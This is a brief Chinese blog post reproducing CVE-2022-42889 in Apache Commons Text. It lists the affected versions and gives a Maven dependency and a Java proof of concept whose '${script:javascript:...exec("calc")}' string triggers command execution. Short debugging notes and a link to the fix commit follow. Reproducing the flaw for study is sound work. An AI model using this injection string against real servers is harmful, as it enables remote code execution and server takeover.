CVE-2022-42889 Apache Commons Text【漏洞复现】,0x01POCpom
CVE-2022-42889 Apache Commons Text【漏洞复现】,0x01POCpom
0x00 影响范围
在Apache Commons Text 1.5 ~1.9 版本中,攻击者可构造恶意文本,使得Apache Commons Text 在解析时执行任意代码,控制服务器。
0x01 POC
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
poc.java
import org.apache.commons.text.StringSubstitutor; public class A { public static void main(String[] args) { StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); String str1 = "${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\");}"; String str="PoC Output: ${script:javascript:195 + 324}"; String output = stringSubstitutor.replace(str); System.out.println(output); } }
0x02 调试
点一下左侧的箭头,先查看下接口,有很多
在上一步调试跟进看看进了哪个实现类
==》ScriptStringLookup
到这里就差不多了,如果感兴趣 eval 的实现,可以继续调试:
查找属性 “javax.script.filename” 如果没有此属性,返回 <eval> 标签:
......
0x03 修复
https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea
评论暂时关闭